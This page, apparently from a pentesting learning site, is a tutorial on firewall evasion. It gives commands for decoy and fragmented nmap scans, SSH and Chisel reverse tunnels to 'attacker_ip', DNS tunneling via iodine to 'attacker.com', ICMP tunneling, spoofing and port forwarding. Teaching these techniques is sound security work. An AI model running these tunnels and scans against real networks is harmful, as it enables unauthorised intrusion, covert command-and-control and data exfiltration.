Home > Network Pentesting

Firewall Evasion

Firewall evasion focuses on bypassing network filtering systems that restrict traffic between hosts or between networks. Firewalls block ports, protocols, and IP ranges to prevent unauthorized access. During pentesting, evasion techniques help reach internal services, pivot across segments, and exfiltrate data without detection. This chapter explains how firewalls work and how attackers bypass them using packet manipulation, tunneling, port redirection, and protocol abuse.

Understanding How Firewalls Block Traffic

Firewalls filter traffic based on:

  • Source and destination IP

  • Ports (allowed or blocked)

  • Protocol type (TCP/UDP/ICMP)

  • Stateful inspection rules

  • Application-level rules

  • Traffic direction (ingress/egress)

Common blocks include:

  • Disallowing inbound SMB, RDP, SSH

  • Restricting inter-VLAN connectivity

  • Allowing only specific outbound ports

  • Blocking ICMP

  • Filtering known scanning patterns

Firewall evasion succeeds by blending in, rerouting, or manipulating traffic to avoid these restrictions.

Step 1: Stealth Scanning Techniques

Firewalls detect aggressive scans. Use quieter methods first.

TCP SYN Scan (Stealthy)

nmap -sS 10.10.20.5

Idle Scan (Proxying Through Zombie Host)

nmap -sI zombie_host 10.10.20.5

Fragmentation Scan

nmap -f 10.10.20.5

Fragmenting packets helps bypass packet inspection.

Slow Scan (Avoid Triggering Rate Limits)

nmap -sT --scan-delay 1s 10.10.20.5

Slower scans reduce detection from firewalls and IDS.

Step 2: Using Decoy Traffic

Decoys hide the attacker’s origin.

nmap -D RND:10 10.10.20.5

Firewalls and logs will show multiple fake IPs.

Step 3: Bypassing Egress Filtering

When outbound traffic is restricted, attackers must encode or reroute their traffic.

Use Allowed Outbound Ports

Commonly allowed ports:

  • 80 (HTTP)

  • 443 (HTTPS)

  • 53 (DNS)

  • 123 (NTP)

Examples of Using Port 443 to Tunnel SSH

ssh -oPort=443 user@pivot

Using Netcat Over Allowed Port

nc -lvp 443

Using HTTPS-Based C2

Tools like Chisel or Meterpreter use HTTPS transport to blend in with normal web traffic.

Step 4: Tunneling Through Allowed Protocols

When direct access is blocked, tunnels carry your traffic inside allowed protocols.

SSH Dynamic Tunnel

ssh -D 1080 user@pivot

HTTP/HTTPS Tunnel via Chisel

Attacker:

chisel server -p 9001 --reverse

Victim:

chisel client attacker_ip:9001 R:socks

Now all traffic passes through port 9001 disguised as web traffic.

DNS Tunneling (When Only DNS Is Allowed)

Using iodine:

iodine -f attacker.com 10.10.20.5

DNS tunneling bypasses strict egress filtering.

Step 5: Port Redirection & Forwarding

If a firewall blocks inbound access, pivot via a host inside the network.

Local Port Forwarding (Attacker → Internal Host)

ssh -L 8080:10.10.20.5:80 user@pivot

Remote Port Forwarding (Internal → Attacker)

ssh -R 4444:10.10.20.10:3389 attacker@server

Meterpreter Portfwd

portfwd add -l 3389 -p 3389 -r 10.10.20.10

Port forwarding bypasses blocked inbound connections.

Step 6: Spoofing Techniques

Spoofing traffic helps bypass IP-based filters.

Source IP Spoofing

hping3 -a 10.10.20.1 -S -p 443 10.10.20.5

MAC Spoofing

ifconfig eth0 hw ether 00:11:22:33:44:55

If a firewall trusts specific IPs or MACs, spoofing can bypass access restrictions.

Step 7: Using Encrypted Channels

Encryption prevents deep packet inspection (DPI) from blocking payloads.

Tools Supporting Encrypted C2

  • Meterpreter HTTPS

  • Cobalt Strike HTTPS

  • Chisel TLS

  • SSH tunnels

Encrypted channels disguise internal scanning and exploitation from firewalls.

Step 8: Using Application-Layer Proxies

Internal proxies may allow outbound access.

Proxychains + SOCKS5

proxychains nmap -sT 10.10.20.0/24

Curl Through Proxy

proxychains curl http://10.10.20.5

Application-layer proxies bypass internal firewall rules, especially in segmented networks.

Step 9: ICMP Tunneling (When Everything Else Is Blocked)

If ICMP is allowed, create a tunnel over ping.

Example using ptunnel:

ptunnel -p attacker_ip -lp 8000 -da 10.10.20.5 -dp 22

ICMP tunneling is often overlooked by firewall configurations.

Step 10: Using VLAN Hopping (If Allowed)

In poorly segmented networks:

  • Double tagging

  • Native VLAN abuse

  • Misconfigured trunk ports

Attackers may inject traffic into other VLANs if switches are misconfigured.

This bypasses segmentation-based firewalls entirely.

Why Firewall Evasion Works

Firewalls fail because:

  • They trust outbound allowed ports

  • They don’t inspect encrypted tunnels

  • Internal proxies allow hidden routing

  • Segmentation rules are incomplete

  • Application-layer traffic appears normal

  • Fragmented packets bypass inspection

  • Decoys hide the true source

  • Misconfigurations allow unexpected traffic

Firewall evasion allows attackers to reach internal services, conduct stealth scans, and bypass corporate perimeter defenses.

Intel Dump

  • Use stealth scanning: SYN, idle, fragmented, slow scans

  • Use tunneling: SSH, Chisel, DNS, ICMP

  • Use port forwarding for internal access

  • Spoof IP/MAC to bypass trusted rules

  • Encrypt traffic to bypass DPI

  • Exploit allowed outbound ports (80/443)

  • VLAN hopping and proxy usage bypass segmentation

HOME LEARN COMMUNITY DASHBOARD